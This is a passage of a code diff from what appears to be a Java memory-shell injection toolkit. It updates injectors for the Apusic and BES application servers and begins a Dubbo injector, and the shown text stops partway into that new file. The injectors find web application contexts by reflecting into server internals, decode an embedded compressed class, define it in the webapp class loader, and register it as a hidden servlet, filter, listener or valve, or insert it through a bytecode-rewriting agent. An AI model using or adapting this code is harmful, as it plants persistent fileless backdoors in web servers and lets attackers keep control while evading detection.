            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            return clazz.newInstance();
+            defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        } catch (Throwable ignored) {
        }
    }

    public void inject(Object context, Object listener) throws Exception {
        Object webModule = getFieldValue(context, "webapp");
-        String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null);
-        for (String name : listeners) {
-            if (getClassName().equals(name)) {
-                System.out.println("listener already injected");
-                return;
-            }
+        if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
+            return;
        }
-
        invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
        invokeMethod(context, "loadListeners", null, null);
-        System.out.println("listener injected successful");
+    }
+
+    @Override
+    public String toString() {
+        return msg;
    }

    @SuppressWarnings("all")
@@ -144,29 +199,39 @@ public class ApusicListenerInjector {
    }

    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
            }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }

-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
        }
    }
 }
@@ -3,10 +3,11 @@ package com.reajason.javaweb.memshell.injector.apusic;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
+import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
+import java.util.HashSet;
+import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;

@@ -16,17 +17,8 @@ import java.util.zip.GZIPInputStream;
 */
 public class ApusicServletInjector {

-    public ApusicServletInjector() {
-        try {
-            List<Object> contexts = getContext();
-            for (Object context : contexts) {
-                Object servlet = getShell(context);
-                inject(context, servlet);
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
+    private static String msg = "";
+    private static boolean ok = false;

    public String getUrlPattern() {
        return "{{urlPattern}}";
@@ -40,36 +32,100 @@ public class ApusicServletInjector {
        return "{{base64Str}}";
    }

-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public ApusicServletInjector() {
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
+            for (Object context : contexts) {
+                try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
+                    Object shell = getShell(context);
+                    inject(context, shell);
+                    msg += "[" + getUrlPattern() + "] ready\n";
+                } catch (Throwable e) {
+                    msg += "failed " + getErrorMessage(e) + "\n";
+                }
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
        Set<Thread> threads = Thread.getAllStackTraces().keySet();
        for (Thread thread : threads) {
            if (thread.getName().contains("HouseKeeper")) {
-                contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
+                // Apusic 9.0 SPX
+                Object sessionManager = getFieldValue(thread, "this$0");
+                contexts.add(getFieldValue(sessionManager, "container"));
+            } else if (thread.getName().contains("HTTPSession")) {
+                // Apusic 9.0.1
+                Object sessionManager = getFieldValue(thread, "this$0");
+                Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
+                contexts.addAll(contextMap.values());
            }
        }
        return contexts;
    }

-    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+    private Object getShell(Object context) throws Exception {
+        // WebApp 类加载器，ServletContext 使用这个进行组件的类加载
+        ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
+        ClassLoader defineLoader;
+        Object obj;
        try {
-            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
-        } catch (Exception e) {
-            return ((ClassLoader) getFieldValue(context, "loader"));
+            // Apusic 9.0 SPX，优先从当前 loader 进行加载
+            defineShell(loader);
+            // 模拟组件初始化（尝试使用 WebApp 类加载器进行组件类实例化）
+            obj = loader.loadClass(getClassName()).newInstance();
+            defineLoader = loader;
+        } catch (ClassNotFoundException e) {
+            // Apusic 9.0.1，委托给 jspLoader 进行加载，因此直接往 loader 里面 define 会 ClassNotFound
+            ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
+            defineShell(internalLoader);
+            // 模拟组件初始化（尝试使用 WebApp 类加载器进行组件类实例化）
+            obj = loader.loadClass(getClassName()).newInstance();
+            defineLoader = internalLoader;
        }
+        msg += "[" + defineLoader.getClass().getName() + "] ";
+        return obj;
    }

    @SuppressWarnings("all")
-    private Object getShell(Object context) throws Exception {
-        ClassLoader classLoader = getWebAppClassLoader(context);
+    private void defineShell(ClassLoader classLoader) throws Exception {
        try {
-            return classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            return clazz.newInstance();
+            defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        } catch (Throwable ignored) {
        }
    }

@@ -77,12 +133,15 @@ public class ApusicServletInjector {
        Object webModule = getFieldValue(context, "webapp");
        Object servletMapper = getFieldValue(context, "servletMapper");
        if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
-            System.out.println("servlet already injected");
            return;
        }
        invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
        invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
-        System.out.println("servlet injected successful");
+    }
+
+    @Override
+    public String toString() {
+        return msg;
    }

    @SuppressWarnings("all")
@@ -141,29 +200,39 @@ public class ApusicServletInjector {
    }

    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
            }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }

-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
        }
    }
 }
@@ -42,7 +42,6 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
                inst.retransformClasses(allLoadedClass);
            }
        }
-        System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
    }

    @Override
@@ -61,6 +60,7 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
                };
                ClassVisitor cv = getClassVisitor(cw);
                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
                return cw.toByteArray();
            } catch (Exception e) {
                e.printStackTrace();
@@ -77,12 +77,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
                                             String signature, String[] exceptions) {
                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
                if (TARGET_METHOD_NAME.equals(name)) {
-                    try {
-                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
-                    } catch (Exception e) {
-                        e.printStackTrace();
-                    }
+                    Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                    return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
                }
                return mv;
            }
@@ -40,7 +40,6 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
            String name = allLoadedClass.getName();
            if (TARGET_CLASS.replace("/", ".").equals(name)) {
                inst.retransformClasses(allLoadedClass);
-                System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
            }
        }
    }
@@ -61,6 +60,7 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
                };
                ClassVisitor cv = getClassVisitor(cw);
                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
                return cw.toByteArray();
            } catch (Exception e) {
                e.printStackTrace();
@@ -4,30 +4,19 @@ import javax.servlet.Filter;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
+import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.*;
-import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;

 /**
 * @author ReaJason
 */
 public class BesFilterInjector {
-    Logger log = Logger.getLogger(BesFilterInjector.class.getName());
-
-    public BesFilterInjector() {
-        try {
-            List<Object> contexts = getContext();
-            for (Object context : contexts) {
-                Object filter = getShell(context);
-                inject(context, filter);
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
+    private static String msg = "";
+    private static boolean ok = false;

    public String getUrlPattern() {
        return "{{urlPattern}}";
@@ -41,12 +30,57 @@ public class BesFilterInjector {
        return "{{base64Str}}";
    }

+    public BesFilterInjector() {
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
+            for (Object context : contexts) {
+                try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
+                    Object shell = getShell(context);
+                    inject(context, shell);
+                    msg += "[" + getUrlPattern() + "] ready\n";
+                } catch (Throwable e) {
+                    msg += "failed " + getErrorMessage(e) + "\n";
+                }
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) getFieldValue(context, "encodedPath");
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
    /**
     * com.bes.enterprise.webtier.core.DefaultContext
     * /opt/bes/lib/bes-engine.jar
     */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
        Set<Thread> threads = Thread.getAllStackTraces().keySet();
        for (Thread thread : threads) {
            if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -56,12 +90,22 @@ public class BesFilterInjector {
                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                    contexts.addAll(children.values());
                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
            }
        }
        return contexts;
    }

-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
        try {
            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
        } catch (Exception e) {
@@ -73,22 +117,23 @@ public class BesFilterInjector {
    @SuppressWarnings("all")
    private Object getShell(Object context) throws Exception {
        ClassLoader classLoader = getWebAppClassLoader(context);
+        Class<?> clazz = null;
        try {
-            return classLoader.loadClass(getClassName()).newInstance();
+            clazz = classLoader.loadClass(getClassName());
        } catch (Exception e) {
            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            return clazz.newInstance();
+            clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
        }
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return clazz.newInstance();
    }

    @SuppressWarnings("unchecked")
    public void inject(Object context, Object filter) throws Exception {
        String filterName = getClassName();
        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
-            log.warning("filter already exists");
            return;
        }
        ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -110,7 +155,11 @@ public class BesFilterInjector {
        Object filterConfig = constructors[0].newInstance(context, filterDef);
        HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
        filterConfigs.put(filterName, filterConfig);
-        log.info("filter added successfully");
+    }
+
+    @Override
+    public String toString() {
+        return msg;
    }

    @SuppressWarnings("all")
@@ -169,29 +218,39 @@ public class BesFilterInjector {
    }

    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
            }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }

-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
        }
    }
 }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
+import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.*;
@@ -14,6 +15,9 @@ import java.util.zip.GZIPInputStream;
 */
 public class BesListenerInjector {

+    private static String msg = "";
+    private static boolean ok = false;
+
    public String getClassName() {
        return "{{className}}";
    }
@@ -23,19 +27,52 @@ public class BesListenerInjector {
    }

    public BesListenerInjector() {
-        try {
-            List<Object> contexts = getContext();
-            for (Object context : contexts) {
-                Object listener = getShell(context);
-                inject(context, listener);
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
+        if (ok) {
+            return;
        }
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
+            for (Object context : contexts) {
+                try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
+                    Object shell = getShell(context);
+                    inject(context, shell);
+                    msg += "[/*] ready\n";
+                } catch (Throwable e) {
+                    msg += "failed " + getErrorMessage(e) + "\n";
+                }
+            }
+        }
+        ok = true;
+        System.out.println(msg);
    }

-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) getFieldValue(context, "encodedPath");
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
        Set<Thread> threads = Thread.getAllStackTraces().keySet();
        for (Thread thread : threads) {
            if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -45,6 +82,16 @@ public class BesListenerInjector {
                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                    contexts.addAll(children.values());
                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
            }
        }
        return contexts;
@@ -62,15 +109,17 @@ public class BesListenerInjector {
    @SuppressWarnings("all")
    private Object getShell(Object context) throws Exception {
        ClassLoader classLoader = getWebAppClassLoader(context);
+        Class<?> clazz = null;
        try {
-            return classLoader.loadClass(getClassName()).newInstance();
+            clazz = classLoader.loadClass(getClassName());
        } catch (Exception e) {
            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            return clazz.newInstance();
+            clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
        }
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return clazz.newInstance();
    }

    @SuppressWarnings("all")
@@ -78,7 +127,6 @@ public class BesListenerInjector {
        Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
        for (Object eventListener : eventListeners) {
            if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
-                System.out.println("listener already exists");
                return;
            }
        }
@@ -86,7 +134,11 @@ public class BesListenerInjector {
        newListeners.add(listener);
        newListeners.addAll(Arrays.asList(eventListeners));
        invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()});
-        System.out.println("listener added successfully");
+    }
+
+    @Override
+    public String toString() {
+        return msg;
    }

    @SuppressWarnings("all")
@@ -135,7 +187,7 @@ public class BesListenerInjector {
                clazz = clazz.getSuperclass();
            }
        }
-        throw new NoSuchFieldException();
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
    }

    @SuppressWarnings("all")
@@ -163,4 +215,19 @@ public class BesListenerInjector {
            throw new RuntimeException("Error invoking method: " + methodName, e);
        }
    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
 }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
+import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.*;
@@ -13,17 +14,8 @@ import java.util.zip.GZIPInputStream;
 */
 public class BesValveInjector {

-    public BesValveInjector() {
-        try {
-            List<Object> contexts = getContext();
-            for (Object context : contexts) {
-                Object valve = getShell(context);
-                inject(context, valve);
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
+    private static String msg = "";
+    private static boolean ok = false;

    public String getClassName() {
        return "{{className}}";
@@ -33,8 +25,53 @@ public class BesValveInjector {
        return "{{base64Str}}";
    }

-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public BesValveInjector() {
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
+            for (Object context : contexts) {
+                try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
+                    Object shell = getShell(context);
+                    inject(context, shell);
+                    msg += "[/*] ready\n";
+                } catch (Throwable e) {
+                    msg += "failed " + getErrorMessage(e) + "\n";
+                }
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) getFieldValue(context, "encodedPath");
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
        Set<Thread> threads = Thread.getAllStackTraces().keySet();
        for (Thread thread : threads) {
            if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -44,58 +81,57 @@ public class BesValveInjector {
                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                    contexts.addAll(children.values());
                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
            }
        }
        return contexts;
    }

-    private ClassLoader getWebAppClassLoader(Object context) {
-        try {
-            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
-        } catch (Exception e) {
-            Object loader = invokeMethod(context, "getLoader", null, null);
-            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
-        }
-    }
-
    @SuppressWarnings("all")
    private Object getShell(Object context) throws Exception {
-        ClassLoader classLoader = getWebAppClassLoader(context);
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        Class<?> clazz = null;
        try {
-            return classLoader.loadClass(getClassName()).newInstance();
+            clazz = classLoader.loadClass(getClassName());
        } catch (Exception e) {
            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            return clazz.newInstance();
+            clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
        }
-    }
-
-    @SuppressWarnings("all")
-    public boolean isInjected(Object pipeline) throws Exception {
-        Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
-        List<Object> valvesList = Arrays.asList(valves);
-        for (Object valve : valvesList) {
-            if (valve.getClass().getName().contains(getClassName())) {
-                return true;
-            }
-        }
-        return false;
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return clazz.newInstance();
    }

    @SuppressWarnings("all")
    public void inject(Object context, Object valve) throws Exception {
        Object pipeline = invokeMethod(context, "getPipeline", null, null);
-        if (isInjected(pipeline)) {
-            System.out.println("valve already injected");
-            return;
+        Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
+        List<Object> valvesList = Arrays.asList(valves);
+        for (Object v : valvesList) {
+            if (v.getClass().getName().contains(getClassName())) {
+                return;
+            }
        }
        Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
        // com.bes.enterprise.webtier.core.DefaultPipeline
        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
    }

+    @Override
+    public String toString() {
+        return msg;
+    }
+
    @SuppressWarnings("all")
    public static byte[] decodeBase64(String base64Str) throws Exception {
        Class<?> decoderClass;
@@ -142,7 +178,7 @@ public class BesValveInjector {

            }
        }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
    }

    @SuppressWarnings("all")
@@ -170,4 +206,19 @@ public class BesValveInjector {
            throw new RuntimeException("Error invoking method: " + methodName, e);
        }
    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
 }
@@ -0,0 +1,451 @@
+package com.reajason.javaweb.memshell.injector.dubbo;
+
+import com.alibaba.dubbo.common.URL;
+import com.alibaba.dubbo.common.bytecode.ClassGenerator;
+import com.alibaba.dubbo.common.utils.ClassHelper;
+import com.alibaba.dubbo.config.*;
+import com.alibaba.dubbo.config.model.ApplicationModel;
+import com.alibaba.dubbo.config.model.ProviderModel;
+import javassist.ClassPool;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.security.ProtectionDomain;
+import java.util.ArrayList;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.zip.GZIPInputStream;
+
+public class AlibabaDubboServiceInjector {
+    private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
+    private static final String DISPLAY_HOST = "x.x.x.x";
+    private static String msg = "";
+    private static boolean ok = false;
+
